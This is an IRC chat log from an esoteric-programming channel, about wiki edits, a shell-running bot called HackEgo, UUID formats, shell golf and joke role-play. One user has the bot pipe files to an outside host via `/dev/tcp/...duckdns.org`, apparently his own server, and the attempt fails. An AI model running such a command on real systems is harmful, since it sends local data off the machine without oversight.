17:14:09 <\oren\> also my stupid macbook wont connect to the stupid vpn again argh
17:15:59 <\oren\> my phone on the other hand connects just fine...
17:19:49 -!- qrf has left.
17:27:11 -!- astslash has quit (Quit: This computer has gone to sleep).
17:34:51 <HackEgo> [wiki] [[Symbolic Brainfuck]] https://esolangs.org/w/index.php?diff=47225&oldid=47223 * KelsonBall * (+2278) /* Hello World */ Added in depth explanation of example program.
17:35:48 <HackEgo> [wiki] [[Symbolic Brainfuck]] M https://esolangs.org/w/index.php?diff=47226&oldid=47225 * KelsonBall * (+0) /* Hello World */
17:57:40 -!- MoonyTheDwarf has joined.
17:57:47 <MoonyTheDwarf> Hbot has been moved to #esoteric
17:58:31 -!- augur has joined.
18:01:19 -!- Koen_ has joined.
18:06:15 <\oren\> uhh what does hbot do?
18:10:17 <MoonyTheDwarf> its havocbot, a debian linux shell bot, it has a few users as of now
18:12:12 <\oren\> so it uses dash?
18:12:56 -!- AnotherTest has quit (Ping timeout: 250 seconds).
18:12:59 <MoonyTheDwarf> *Bash
18:13:34 <\oren\> i see
18:14:53 -!- AnotherTest has joined.
18:16:11 <\oren\> i wonder how hard it would be to make a program that compiles shell scripts into native executables
18:17:30 -!- MoonyTheDwarf has quit (Ping timeout: 250 seconds).
18:19:09 <\oren\> iow it would convert them into a program with a bunch of forks dup2s and execs
18:20:35 <gamemanj> well, you could do it without invoking the C compiler if you were crazy enough
18:20:41 <gamemanj> but would you WANT to
18:21:40 <hppavilion[1]> `? HackEgo
18:21:52 <HackEgo> HackEgo, also known as HackBot, is a bot that runs arbitrary commands on Unix. See `help for info on using it. You should totally try to hax0r it! Make sure you imagine it's running as root with no sandboxing. HackEgo is the slowest bot in all Mexico!
18:22:35 <hppavilion[1]> `learn HackEgo, also known as HackBot, is a bot that runs arbitrary commands on Unix. See `help for info on using it. You should totally try to hax0r it! Make sure you assume a spherical cow in a vacuum. HackEgo is the slowest bot in all Mexico!
18:22:40 <HackEgo> Relearned 'hackego': HackEgo, also known as HackBot, is a bot that runs arbitrary commands on Unix. See `help for info on using it. You should totally try to hax0r it! Make sure you assume a spherical cow in a vacuum. HackEgo is the slowest bot in all Mexico!
18:22:47 <\oren\> well i wonder how much of a typical configure script spends being parsed...
18:23:55 <b_jonas> `bardsworthlist 2016-06-16
18:23:57 <HackEgo> bardsworthlist 2016-06-16: b_jonas
18:24:01 <b_jonas> wow, two updates so close to each other
18:29:01 <shachaf> Maybe the list shoudl just print the current date by default.
18:29:13 <gamemanj> now, time to read my wisdom entry...
18:29:18 <gamemanj> in an absurdly overcomplicated manner
18:29:20 <gamemanj> `cat wisdom/*gamemanj* > /dev/tcp/gamemanj.duckdns.org/25561
18:29:22 <HackEgo> cat: wisdom/*gamemanj* > /dev/tcp/gamemanj.duckdns.org/25561: No such file or directory
18:29:30 <gamemanj> ...
18:29:32 <gamemanj> ``cat wisdom/*gamemanj* > /dev/tcp/gamemanj.duckdns.org/25561
18:29:34 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: `cat: not found
18:29:37 <gamemanj> `` cat wisdom/*gamemanj* > /dev/tcp/gamemanj.duckdns.org/25561
18:29:38 <HackEgo> ​/hackenv/bin/`: line 4: gamemanj.duckdns.org: Name or service not known \ /hackenv/bin/`: line 4: /dev/tcp/gamemanj.duckdns.org/25561: Invalid argument
18:29:45 <gamemanj> ......
18:30:24 <shachaf> What?
18:30:31 <shachaf> Why did you rewrite HackEgo?
18:35:32 -!- Kaynato has joined.
18:40:12 <hppavilion[1]> shachaf: Because there were not enough spherical cow jokes
18:40:43 <shachaf> I think there were too many already.
18:40:51 -!- MoonyTheDwarf has joined.
18:40:56 <b_jonas> `wiser
18:41:00 <MoonyTheDwarf> `url bin/echo-p
18:41:09 <MoonyTheDwarf> `url bin/mk
18:41:09 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: wiser: not found
18:41:11 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/echo-p
18:41:13 <MoonyTheDwarf> `url bin/mkx
18:41:14 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/mk
18:41:16 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/mkx
18:41:47 -!- Koen_ has quit (Remote host closed the connection).
18:42:20 <shachaf> I suggest putting that joke somewhere else if you think it's necessary.
18:42:27 <shachaf> `revert
18:42:37 <b_jonas> ``` echo $'#!/bin/sh\n''bin/\? "$@" && echo -n " Taneb invented it."' > bin/wiser && chmod a+x bin/wiser
18:42:49 <HackEgo> No output.
18:42:50 <b_jonas> `wiser hackego
18:42:52 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
18:42:52 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: wiser: not found
18:43:01 <shachaf> b_jonas: I Don't think that ought to be automated.
18:43:23 <b_jonas> ``` ls -ld bin/wiser
18:43:25 <HackEgo> ls: cannot access bin/wiser: No such file or directory
18:43:27 <shachaf> `undo 8502
18:43:39 <HackEgo> patching file wisdom/hackego
18:43:42 <shachaf> I didn't intend to revert it, though.
18:44:05 <b_jonas> ``` echo $'#!/bin/sh\n''bin/\? "$@" && echo -n " Taneb invented it."' > bin/wiser && chmod a+x bin/wiser && echo " written"; echo " done"
18:44:09 <shachaf> Even if that was automated, using ? isn't the right thing to do.
18:44:10 <HackEgo> ​ written \ done
18:44:21 <b_jonas> `wiser hackego
18:44:25 <HackEgo> HackEgo, also known as HackBot, is a bot that runs arbitrary commands on Unix. See `help for info on using it. You should totally try to hax0r it! Make sure you imagine it's running as root with no sandboxing. HackEgo is the slowest bot in all Mexico! \ Taneb invented it.
18:44:28 <b_jonas> `wiser norway
18:44:30 <shachaf> `revert
18:44:30 <HackEgo> Norway is the suburb capital of Sweden. It's where the Nobel Peace Prize is announced. \ Taneb invented it.
18:44:31 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
18:44:58 <b_jonas> shachaf: yes, it needs a more refined definition, one that strips the unnecessary newline, and doesn't add a second copy if the wisdom is already wise
18:45:26 <shachaf> Oh, it doesn't actually overwrite the file.
18:45:31 <shachaf> OK then.
18:50:10 -!- Koen_ has joined.
19:26:54 -!- hwpplayer1 has joined.
19:35:37 -!- hwpplayer1 has quit (Quit: Leaving.).
19:55:52 -!- AnotherTest has quit (Ping timeout: 272 seconds).
20:01:33 -!- hppavilion[1] has quit (Ping timeout: 244 seconds).
20:04:05 -!- spiette has quit (Ping timeout: 260 seconds).
20:16:25 -!- AnotherTest has joined.
20:16:37 -!- hppavilion[1] has joined.
20:24:08 <MoonyTheDwarf> hi hppavilion[1]
20:24:27 <hppavilion[1]> MoonyTheDwarf: NO
20:24:32 <hppavilion[1]> MoonyTheDwarf: CHOOSE A NICK AND STICK TO IT
20:25:51 <MoonyTheDwarf> This is my registered nick
20:25:59 <MoonyTheDwarf> im normally on moon_ which is unregistered
20:26:14 -!- MoonyTheDwarf has changed nick to moon_.
20:26:21 <moon_> There
20:31:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
20:34:39 <Elronnd> You scared him off!
20:36:04 <moon_> )=
20:36:08 <moon_> D=
20:36:18 * moon_ slaps Elronnd around a bit with a large trout
20:36:21 <moon_> :>
20:36:23 <myname> good job
20:36:31 <moon_> >:
20:38:36 * moon_ slaps myname around a bit with a large trout
20:39:37 <myname> oh yeah
20:40:15 * moon_ replaces the trout with a fishbot
20:42:56 <gamemanj> excuse me, but I'm a representative of the trout worker's union
20:43:05 <gamemanj> it seems you are replacing your trout staff with fishbots
20:43:17 <gamemanj> and they, as trout, consider this to be a rather anti-trout action
20:43:32 * moon_ brutally slaps gamemanj with a fishbot
20:43:38 * gamemanj ded
20:43:54 * moon_ cocks the fishbot
20:44:01 * moon_ fires water at gamemanj
20:44:09 * gamemanj already dead
20:44:33 * moon_ wastes a beat the boss 4 heart on gamemanj
20:44:37 * moon_ cocks the fishbot
20:44:44 * gamemanj is quite dead
20:44:46 -!- EX_ has joined.
20:44:56 -!- EX_ has left.
20:45:04 * moon_ slaps ex with a fishbot
20:45:06 <moon_> oh
20:45:07 <moon_> >:
20:45:16 <gamemanj> as you can see EX_ was wise enough to leave
20:45:21 <gamemanj> before being slapped with a fishbot
20:45:27 <gamemanj> also, BTW, you only slapped a clone of me
20:45:33 <moon_> )=
20:45:40 <gamemanj> MWUHAHAHAHA
20:45:43 * moon_ slaps gamemanj with a fishbot
20:45:47 * gamemanj dead
20:45:48 <moon_> There
20:46:04 <gamemanj> ...another clone. Did I mention that I get insurance money to make more clones every time you do that?
20:46:29 * moon_ slaps all the gamemanjs with a fishbot
20:46:56 * gamemanj is still alive (in a bunker somewhere in north-east Hull), but the clones are dead
20:47:08 * gamemanj immediately makes more clones
20:47:35 <moon_> Why are we at war in #esoteric?
20:47:45 <gamemanj> because you like slapping people with fishbots
20:48:03 <gamemanj> and anyway, have you noticed no offensive on my part yet?
20:48:18 <moon_> Yup
20:48:31 * gamemanj un-shields a Dramatic Shielded Button (tm)
20:48:40 * gamemanj then lowers his finger to press it
20:48:53 * moon_ eats the button
20:49:18 * gamemanj (seeing moon_ eat the fake button the clone was holding on a remote screen), presses the REAL button.
20:49:38 * gamemanj then watches as a tractor beam sends the moon_ out of Earth's orbit.
20:50:02 * moon_ uses jupiter
20:50:07 * moon_ flys back and hits earth
20:50:36 * gamemanj notices a splat moon_ on the bunker's windshield, and (remotely, of course) wipes it off with royal water.
20:50:54 <moon_> But im the moon >:
20:51:09 <gamemanj> (if you're the moon then you destroyed earth and probably yourself)
20:51:16 <gamemanj> (so...)
20:51:29 <moon_> ik, im kidding just to get a long explanation.
20:51:54 <gamemanj> (ALL EARTH LIFE NIL. MOON_ NIL. NOBODY WINS.)
20:51:55 * moon_ has clones
20:52:11 <gamemanj> Oh, flip, moon_ stole my cloning technology while looking through my windshield!
20:52:18 <gamemanj> I need to make it one-way.
20:52:31 * moon_ has millions of finger biting clones
20:52:47 * moon_ the gamemanj's are covered in fingerbiting clones, with fishbots
20:52:48 * gamemanj attempts to arrange a peace treaty with moon_
20:52:59 <gamemanj> please, we both have infinity + 1 clones
20:53:05 <moon_> Ah fine
20:53:07 <moon_> >:
20:53:07 <gamemanj> ok
20:53:16 <gamemanj> you don't hit me with any fishbots and I won't try to kill your clones
20:53:20 * gamemanj deactivates his clones
20:53:34 * moon_ uses his clones to make a new moon
20:53:40 * moon_ made of moon_ s
20:54:18 * gamemanj is happy with this peace treaty, and intends to discuss cloning theory with moon_ sometime while drinking tea
20:54:19 <moon_> *Somewhere else in a few years* The ball of flesh is really nice tonight
20:54:38 <gamemanj> (...)
20:54:55 <gamemanj> (a mole of moles...)
20:54:59 * moon_ is genetically wierd
20:55:29 * gamemanj doesn't really care, the BoF is better than the WoF - for one, it doesn't try to kill anyone
21:04:25 <moon_> Mmm frozen raspberrys
21:33:08 -!- LexiciScriptor has joined.
21:42:29 -!- MoonyTheDwarf has joined.
21:44:33 -!- moon_ has quit (Ping timeout: 240 seconds).
21:50:26 <gamemanj> you know your ide has turned against you when it says that variable "x" should not be passed to parameter "y"... except there's only one parameter to the function.
21:51:07 <gamemanj> (And it's called "y" because that's what the IDE set it as when the function was magically created.)
21:52:02 <MoonyTheDwarf> lol
21:52:05 <MoonyTheDwarf> what ide?
21:52:08 <gamemanj> IDEA
21:53:06 <shachaf> I suggest that #esoteric-blah is better for this conversation.
21:53:37 <MoonyTheDwarf> rainbow
21:54:09 <myname> are you one of these people that assume people have white background for irc?
21:54:13 <int-e> is MoonyTheDwarf related to moon_?
21:54:42 <myname> yeah, the relation is reflexive, symmetric and transitive
21:54:42 <int-e> colorfilter++
21:55:15 <shachaf> int-e: How can you tell?
21:55:25 -!- MoonyTheDwarf has changed nick to moon_.
21:55:32 <moon_> yea, i forgot to change my nick
21:55:33 <int-e> though I guess the fact that "rainbow" has 7 letters deserves a honorable mention.
21:55:49 <int-e> shachaf: a guess, by myname's reaction.
21:56:03 <moon_> I certainly do myname
21:56:25 <myname> moon_: let me assure you, it's a false assumption
21:56:41 <myname> therefore, your r is black letters on black background for me
21:57:12 <moon_> Painbow
21:57:28 -!- gamemanj has quit (Ping timeout: 272 seconds).
21:57:48 <myname> slightly less horrible
21:58:58 <int-e> `rainbow rainbow
21:59:10 <moon_> `rainbow painbow
21:59:43 <HackEgo> No output.
21:59:46 <moon_> qwertyuiop[]\asdfghjkl;'zxcvbnm,./
21:59:54 <HackEgo> No output.
22:00:27 <int-e> `` rainbow <<<rainbow
22:00:45 <HackEgo> rainbow
22:00:49 <shachaf> whoa whoa whoa
22:00:53 <shachaf> <<<?
22:01:43 <moon_> Harharhar
22:02:30 <int-e> `` cat <<<'a standard bash feature for feeding input to programs (also found in zsh, I do not know where it originated)'
22:02:32 <HackEgo> a standard bash feature for feeding input to programs (also found in zsh, I do not know where it originated)
22:02:52 <shachaf> Yes, i figured it out.
22:02:56 <shachaf> s/i/I/
22:11:16 <int-e> rainbow
22:12:56 <shachaf> my irc client has scriptable rainbows hth
22:12:59 <int-e> that's the best approximation I could find (and I typed that manually)
22:13:33 <moon_> MIRC RAINBOW WOOO
22:14:34 <int-e> (typing ^C in irssi will insert a literal ^C, so mirc color codes can be entered that way)
22:14:43 <moon_> l
22:14:49 -!- asie has quit (Quit: WeeChat 1.5).
22:15:15 <int-e> (other clients may simply terminate if you do that...)
22:16:10 <moon_> I think ASIE did it?
22:16:17 <moon_> l
22:20:47 <int-e> maybe, though apparently there's an add-on for weechat that uses ^C for inserting color codes...
22:21:40 <int-e> ...which suggests that maybe it doesn't terminate the program
22:24:44 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
22:25:01 -!- mpan has joined.
22:25:14 -!- mpan has left.
22:27:14 <int-e> `? rainbow
22:27:16 <HackEgo> Rainbows are spectral creatures said to be powered by the Daystar.
22:27:24 <shachaf> `culprits wisdom/rainbow
22:27:33 <HackEgo> oerjan
22:27:49 <int-e> UserFriendly reference, hmm
22:29:35 -!- spiette has joined.
22:33:43 <int-e> ah it's actually straightforward to find http://ars.userfriendly.org/cartoons/?id=19991208
22:35:17 -!- spockers has quit (Quit: My MacBook has gone to sleep. ZZZzzz…).
22:36:18 -!- spockers has joined.
22:39:14 -!- dnm has quit (Ping timeout: 250 seconds).
22:44:49 -!- MDude has quit (Ping timeout: 252 seconds).
22:46:37 -!- LexiciScriptor has quit (Quit: LexiciScriptor).
22:49:49 -!- MDude has joined.
23:09:54 -!- MDead has joined.
23:12:31 -!- MDude has quit (Ping timeout: 240 seconds).
23:12:39 -!- MDead has changed nick to MDude.
23:14:27 -!- MDead has joined.
23:17:15 -!- MDude has quit (Ping timeout: 264 seconds).
23:17:23 -!- MDead has changed nick to MDude.
23:19:51 <\oren\> supposedly the vpn will be more reliable if i upgrade to el captain
23:23:33 <\oren\> well whatever worse to worse ill just use time machine
23:24:22 <\oren\> stupid unreliable proprietary os
23:29:57 -!- `^_^ has quit (Quit: This computer has gone to sleep).
23:30:15 -!- MDude has quit (Ping timeout: 276 seconds).
23:33:06 <HackEgo> [wiki] [[Language list]] M https://esolangs.org/w/index.php?diff=47227&oldid=47202 * KelsonBall * (+25) /* Added symbolic brainfuck */
23:34:04 -!- I has joined.
23:34:28 -!- I has changed nick to Guest77224.
23:46:58 -!- Guest77224 has quit (Quit: This computer has gone to sleep).
23:49:35 -!- nycs has joined.
23:51:55 -!- asie has joined.
23:54:51 -!- nycs has quit (Quit: This computer has gone to sleep).
23:57:05 -!- MoALTz has quit (Quit: Leaving).
2016-06-17
00:04:03 -!- idris-bot has quit (Ping timeout: 264 seconds).
00:04:46 -!- Melvar has quit (Ping timeout: 272 seconds).
00:51:21 -!- spiette has quit (Quit: :qa!).
01:06:21 <izabera> https://blog.codinghorror.com/content/images/uploads/2006/11/6a0120a85dcdae970b0128776fec64970c-pi.png
01:27:44 <Yurume_> isnt that normal?
01:28:28 <Yurume_> I mean, there is a fundamental difference between cmdline UI and interactive UI
01:28:53 <Yurume_> converting from one to another is bound to be doomed
01:29:50 <Cale> nah, this was just poorly done
01:31:32 -!- Melvar has joined.
01:34:35 -!- xkapastel has joined.
01:41:13 -!- bender has joined.
01:45:39 -!- moon_ has changed nick to God.
01:48:36 -!- Kaynato has quit (Ping timeout: 246 seconds).
02:01:35 -!- oerjan has joined.
02:13:04 -!- Kaynato has joined.
02:17:51 -!- Kaynato has quit (Ping timeout: 240 seconds).
02:20:46 -!- bender has quit (Quit: Leaving).
02:20:58 -!- Koen_ has quit.
02:36:07 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
02:38:28 -!- zzo38 has joined.
02:39:06 -!- boily has joined.
02:39:08 <boily> NINJA QUINTHELLOPIAAAAAAAAAAAAAAAAAA!
02:39:12 -!- boily has quit (Client Quit).
02:39:33 <oerjan> wat.
02:39:49 <zzo38> Hello, do you know what email header is X-Yahoo-Newman-Property X-YMail-OSG meaning?
02:39:57 <oerjan> no.
02:45:13 -!- Froox has joined.
02:47:11 -!- God has changed nick to moon_.
02:48:20 -!- Frooxius has quit (Ping timeout: 244 seconds).
02:49:46 -!- hppavilion[1] has joined.
02:54:03 -!- hppavilion[2] has joined.
02:56:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
03:03:27 -!- MDude has joined.
03:07:13 -!- moon_ has changed nick to GOD.
03:09:16 <oerjan> `` ls -l wisdom/password
03:09:23 <oerjan> `? password
03:09:53 <HackEgo> The password of the month is kOMMlIEBERmAIuNDmACHE
03:09:53 <HackEgo> ​-rw-r--r-- 1 5000000 0 51 May 2 01:20 wisdom/password
03:10:22 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg).
03:11:09 <oerjan> `learn The password of the month is viskalikkjesovabortsumarnatta
03:11:13 <HackEgo> Relearned 'password': The password of the month is viskalikkjesovabortsumarnatta
03:12:39 <oerjan> `learn The password of the month is vïskAlikkjesOvab0rtsUmarnatta
03:12:44 <HackEgo> Relearned 'password': The password of the month is vïskAlikkjesOvab0rtsUmarnatta
03:12:59 <shachaf> Why does the password of the month capitalize some letters and replace others with digits?
03:13:20 <oerjan> because of stupid password filters hth
03:14:22 <shachaf> Why not just always put the same digit and uppercase letter and symbol at the end of every password?
03:15:08 <oerjan> because that ruins the scansion hth
03:15:33 <shachaf> Why not just always put "hth" at the end of every password?
03:15:55 <oerjan> still ruins the scansion tdnh
03:32:11 -!- hppavilion[2] has quit (Ping timeout: 240 seconds).
03:35:17 <oerjan> `wiser
03:35:21 <HackEgo> ​? ¯\(°​_o)/¯
03:39:21 -!- MDude has changed nick to MDream.
03:43:00 -!- Sprocklem has quit (Ping timeout: 250 seconds).
03:45:01 -!- Sprocklem has joined.
03:59:28 -!- GOD has quit (Ping timeout: 244 seconds).
04:48:31 -!- HackEgo has quit (Ping timeout: 240 seconds).
04:56:25 <oerjan> eep
05:08:01 -!- moon_ has joined.
05:37:19 -!- HackEgo has joined.
05:38:36 <izabera> `` cat /proc/sys/kernel/random/uuid
05:38:57 <HackEgo> 480374de-d9c2-4f29-b377-463d2fc51552
05:39:28 <izabera> `` for i in {1..100}; do [[ $(< /proc/sys/kernel/random/uuid) = ????????-????-4???-[89ab]???-???????????? ]] || echo x; done
05:39:32 <HackEgo> No output.
05:39:39 <izabera> DID YOU KNOW THIS???
05:40:03 <oerjan> know what?
05:40:12 <izabera> that some bits are fixed
05:40:57 <oerjan> NO
05:41:14 <izabera> shocking isn't it
05:41:52 <oerjan> i would not use that word...
05:42:01 <izabera> astonishing
05:42:02 <izabera> amazing
05:42:06 <izabera> unbelievable
05:42:10 * oerjan whistles innocently
05:42:11 <izabera> incredible
05:42:17 <oerjan> inconceivable?
05:42:21 <izabera> yeah
05:43:57 <shachaf> I knew this.
05:45:31 <shachaf> https://en.wikipedia.org/wiki/Universally_unique_identifier#Version_4_.28random.29
05:47:05 <shachaf> The best part is when someone generates a UUID that uses their MAC address and thereby leaks information about certain iDs being associated with each other.
05:48:34 <zzo38> What I do is to use the MAC address of a device I own that I do not connect to the internet.
05:50:47 <shachaf> zzo38: Why not just generate a truly random UUID?
05:52:01 <moon_> Moo
06:04:37 <zzo38> There is a possibility of collision, which is reduced if the MAC address is used
06:07:59 <shachaf> But collision is unlikely.
06:08:07 <shachaf> There are 122 bits in a random UUID.
06:09:46 <shachaf> I wish people used something more compact than hexadecimal for long random bitstrings.
06:13:45 <izabera> `` printf %s%s-%s-4%.3s_%s-%s%s%s\\n $(od -N16 -xAn /dev/urandom) | sed 's/_[0123]/-8/;t;s/_[4567]/-9/;t;s/_[89ab]/-a/;t;s/_[cdef]/-b/'
06:13:54 <HackEgo> aa5f7646-300d-4643-b420-6686a873f057
06:13:57 <izabera> golf this
06:14:44 <shachaf> i golf what i want
06:14:50 <izabera> you want to golf this
06:15:09 <lifthrasiir> izabera: well, obviously, 0123 -> 0-3 etc
06:15:17 <izabera> oh <.<
06:15:22 * izabera dumb
06:15:37 <izabera> `` printf %s%s-%s-4%.3s_%s-%s%s%s\\n $(od -N16 -xAn /dev/urandom) | sed 's/_[0-3]/-8/;t;s/_[4-7]/-9/;t;s/_[89ab]/-a/;t;s/_[c-f]/-b/'
06:15:44 <HackEgo> 74aa2623-2c08-4ff8-b9b3-6673191faa91
06:15:46 <pikhq> I am quite happy to say that a 1/(2^122-1) chance collision is not one that concerns me.
06:16:35 <shachaf> pikhq: See, that's why we put zzo38 in charge when security is important.
06:16:36 <oerjan> izabera: [8-b] probably works too
06:16:46 <lifthrasiir> indeed
06:16:49 <izabera> mmh i guess so
06:16:58 <lifthrasiir> locale dependent, though it would be technically same for digits as well
06:17:05 <izabera> no
06:17:13 <izabera> digits are always consecutive
06:17:46 <lifthrasiir> izabera: yes, that's guaranteed by C
06:17:50 <izabera> yeah
06:18:06 <lifthrasiir> but I meant that the relative ordering of digits and letters is unspecified
06:18:24 <pikhq> And things in the basic charset are locale-invariant on any given implementation as well.
06:18:33 <lifthrasiir> pikhq: EBCDIC?
06:18:42 <pikhq> lifthrasiir: "On any given implementation".
06:18:56 <pikhq> An EBCDIC C system cannot have an ASCII locale.
06:19:19 <pikhq> But likewise, an ASCII C system cannot have an EBCDIC locale.
06:20:02 <izabera> it's fine to be unportable as long as it works on HackEgo :P
06:21:58 <lifthrasiir> izabera: the final s/_[c-f]/-b/ can be s/_./-b/
06:22:06 <izabera> right
06:22:22 <izabera> that's some serious progress
06:27:14 -!- moon_ has quit (Ping timeout: 250 seconds).
06:27:41 <lifthrasiir> hmm it is hard to leverage tr
06:40:34 -!- hppavilion[1] has joined.
06:49:27 <hppavilion[1]> I just read the word "Ferret" as if it was french
06:50:35 -!- tromp_ has quit (Remote host closed the connection).
06:50:55 -!- tromp_ has joined.
06:53:31 -!- augur has quit (Remote host closed the connection).
06:59:30 <lifthrasiir> hppavilion[1]: ferreous?
06:59:55 <hppavilion[1]> lifthrasiir: I read it as "fairey"
07:02:00 <hppavilion[1]> Aphasia: "This class of language disorder ranges from having difficulty remembering words to being completely unable to speak, read, or write."
07:02:07 <hppavilion[1]> That's pretty broad
07:16:05 <oerjan> very amortized
07:16:27 <shachaf> amoerjan
07:19:35 <hppavilion[1]> I just read about the Mars Climate Orbiter
07:19:40 <hppavilion[1]> What the hell, Lockheed Martin?
07:19:54 <hppavilion[1]> Why are you hiring scientific programmers who use /pound seconds/!?
07:20:28 <shachaf> That's right. American programmers ought to use dollar-seconds.
07:20:46 <shachaf> And given that it's Lockheed Martin, they ought to use quite a few of them.
07:20:49 <hppavilion[1]> The page on Lockheed Martin Space Systems doesn't even mention it
07:21:04 <pikhq> Or mill-milliseconds, so you can avoid floats or fixed-point arithmetic. :D
07:21:37 <hppavilion[1]> furlong-fortnights?
07:22:06 <hppavilion[1]> I would've used gram-saecula personally
07:22:21 <hppavilion[1]> Though it would require constant access to all birth and death certificates
07:43:44 -!- astslash has joined.
07:53:56 -!- MoALTz has joined.
08:10:15 -!- lambda-11235 has joined.
08:11:28 <hppavilion[1]> Sovereign Citizens: Because stupid people are funny
08:12:12 <hppavilion[1]> `? hagb4rd
08:15:36 <HackEgo> hagb4rd is one spacey fellow. Spaaaaaaaaaaaaaaaaaaaaaace.
08:15:37 -!- AnotherTest has joined.
08:16:55 <hppavilion[1]> `culprits hagb4rd
08:17:51 <HackEgo> No output.
08:21:01 -!- hppavilion[2] has joined.
08:21:11 -!- hppavilion[1] has quit (Ping timeout: 250 seconds).
08:31:55 -!- Destructible has joined.
08:32:08 <Destructible> hoi
08:33:53 <Destructible> hello?
08:35:31 <Destructible> ;-;
08:36:13 -!- Destructible has quit (Client Quit).
08:48:17 <hppavilion[2]> Cracked has an article called "The 23 Most Disastrous Fictional Sexual Encounters Possible"
08:48:28 <hppavilion[2]> The cover is Lady from Lady and the Tramp and Clifford the Big Red Dog
08:50:44 <oerjan> `unidecode -
08:50:53 <HackEgo> ​[U+002D HYPHEN-MINUS]
08:53:53 <hppavilion[2]> Gah! Why did I open cracked!
09:00:24 <oerjan> hint: all list sites are crap.
09:02:28 <oerjan> well, all 5-20-items clickbait lists, anyway.
09:03:03 -!- spockers has joined.
09:03:35 <lifthrasiir> `unidecode  
09:03:37 <HackEgo> ​[U+1680 OGHAM SPACE MARK]
09:05:54 -!- xkapastel has quit (Quit: Connection closed for inactivity).
09:19:38 <xfix> `length  
09:19:47 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: length: not found
09:20:02 <xfix> `len
09:20:07 <HackEgo> 0 codepoints
09:20:14 <xfix> `len  
09:20:18 <HackEgo> 1 codepoint \ 3 UTF-8 bytes
09:23:58 -!- ineiros has quit (Remote host closed the connection).
09:24:05 -!- ineiros has joined.
09:24:40 -!- J_Arcane has quit (Quit: ChatZilla 0.9.92-rdmsoft [XULRunner 35.0.1/20150122214805]).
09:27:27 <b_jonas> oh come on! just link her up with Faye already! they've both had their apartments burned down, and I think they'd be a good match. and since Brun is a barkeep, she could even work in the Coffee of Doom.
09:29:53 <Taneb> ???
09:30:43 <shachaf> Taneb: Haneb
09:30:46 <shachaf> `? tanebvention
09:30:50 <HackEgo> Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, persistence, the BBC, progress, and this sentence. See also tanebventions (math). He never invents anything involving sex.
09:30:51 <shachaf> `? tanebventions (math)
09:30:54 <HackEgo> Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, the reals, Lambek's lemma, pointless topology, and histograms.
09:31:02 <shachaf> Shouldn't that be "Tanebventions (maths)"?
09:31:45 <shachaf> It might be better if it was e.g. "tanebventions: math", so pluralization would work automatically.
09:33:03 <b_jonas> `block device
09:33:06 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: block: not found
09:33:10 -!- MDream has quit (Read error: Connection reset by peer).
09:33:20 <b_jonas> `? block device
09:33:21 <HackEgo> block device? ¯\(°​_o)/¯
09:33:29 -!- MDream has joined.
09:36:12 -!- prooftechnique_ has joined.
09:36:14 <b_jonas> `slashlearn block device/Block devices are a concession made in Unix to make raw hard disks and magnetic tape have a similar interface to regular files and terminals. Since magnetic tapes can't write individual bytes, only entire blocks, the interface isn't exactly the same, thus the dreaded dd obs= option was born.
09:36:40 <HackEgo> Learned «block device»
09:37:26 -!- tswett has quit (Quit: No Ping reply in 180 seconds.).
09:37:31 <shachaf> I was going to `le/rn block device/A block device is a device such that I/O operations to it can block.
09:39:44 -!- Warrigal has joined.
09:40:22 -!- lambda-11235 has quit (Max SendQ exceeded).
09:40:45 <b_jonas> shachaf: hehe, sorry
09:40:52 -!- jix_ has joined.
09:41:39 <shachaf> Well, you were first.
09:41:52 <shachaf> But I don't think your entry is very wisdomy.
09:42:07 <shachaf> On the other hand you've been adding so many entries like it that the standard for wisdomy is shifting.
09:42:15 <b_jonas> hmm
09:42:19 -!- lambda-11235 has joined.
09:42:48 -!- Melvar` has joined.
09:43:05 -!- prooftechnique has quit (Ping timeout: 252 seconds).
09:43:06 -!- Melvar has quit (Ping timeout: 252 seconds).
09:43:07 -!- jix has quit (Ping timeout: 252 seconds).
09:44:39 -!- lambda-11235 has quit (Client Quit).
09:45:38 -!- incomprehensibly has quit (Ping timeout: 258 seconds).
09:47:39 -!- incomprehensibly has joined.
09:50:08 <oerjan> of _course_ she got away with the lantern. :( wondering if aldin and larana are planning a detour.
09:52:02 <oerjan> `` mv wisdom/tanebvention{" (math)",": math"}
09:52:09 <HackEgo> mv: cannot stat `wisdom/tanebvention (math)': No such file or directory
09:52:14 <oerjan> oops
09:52:20 <oerjan> `` mv wisdom/tanebvention{"s (math)",": math"}
09:52:24 <HackEgo> No output.
09:52:36 <oerjan> er wait
09:52:39 <oerjan> *sigh*
09:52:58 <oerjan> `` mv wisdom/tanebvention{,s}": math"
09:53:03 <HackEgo> No output.
09:53:37 <oerjan> `sled wisdom/tanebvention//s/ [(]math[)/: math/
09:53:40 <HackEgo> sed: -e expression #1, char 20: unterminated `s' command
09:53:48 <oerjan> `sled wisdom/tanebvention//s/ [(]math[)]/: math/
09:53:51 <HackEgo> wisdom/tanebvention//Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, persistence, the BBC, progress, and this sentence. See also tanebventions: math. He never invents anything involving sex.
09:54:09 <b_jonas> `? tanebventions: math
09:54:10 <HackEgo> Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, the reals, Lambek's lemma, pointless topology, and histograms.
09:54:24 <b_jonas> oerjan: the universe should count as mathematical
